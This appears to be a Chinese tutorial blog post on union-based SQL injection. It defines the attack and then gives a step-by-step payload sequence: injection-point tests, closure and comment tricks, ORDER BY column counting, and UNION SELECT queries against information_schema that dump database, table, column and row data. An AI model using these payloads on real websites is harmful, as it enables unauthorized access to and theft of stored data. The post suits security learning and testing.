SQL注入联合注入

SQL注入定义

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。SQL注入是指将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。当Web应用程序的开发人员对用户所输入的数据不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取数据库的信息以及提权,此时称发生了SQL注入攻击。

数据库基本操作:

SQL WHERE语句:select *from 表名 where  查询的内容(例如[id=name])

SQL OR AND语句:

如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。

如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。

ORDER BY语句:关键字对于结果集进行排序。

SQL 联合注入:

在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

联合注入的过程

1、判断注入点

2、判断是整型还是字符型

3、判断查询列数

4、判断显示位

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名

8、获取字段中的数据

一、判断注入点

我们在可能存在SQL注入变量的后边添加以下payload:

and 1=1 / and 1=2 回显页面不同(整形判断)

单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)

 \ (转义符)

-1/+1 回显下一个或上一个页面(整型判断)

注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b

判断是整数型注入还是字符型注入:

输入and 1=1和and 1=2后发现页面没有变化,判断不是整型注入

输入' and 1=1 %23和 ' and 1=2%23后发现页面变化,判断为字符注入 

联合注入基本操作:

1,注入点判断:/?id=1 and 1=1

2,判断闭合方式:/?id=1'  {undefined' ,'), ","),), )).}  注释符:--+  #  --  (空格)

3,猜字段数:/?id=1 order by 数字

4,判断显示位:/?id=-1 union select 1,2,3,4,······

5,根据页面回显位置插入要查询语句:/?id=-1 union select database(),2,user(),4,······

  1. 获取所有数据库名:/?id=-1' union select

1,(select group_concat(schema_name)from information_schema.schemata),3,4--+

7,获取表名:/?id=-1' union  select

   1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4--+

8,获取列名:/?id=1' union select

1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘表名'),3,4--+

9,获取数据:/?id=1' union select

 1,(select group_concat(`列名1`,`列名2`) from 库名.表名),3,4--+

你可能感兴趣的:(sql,数据库,database)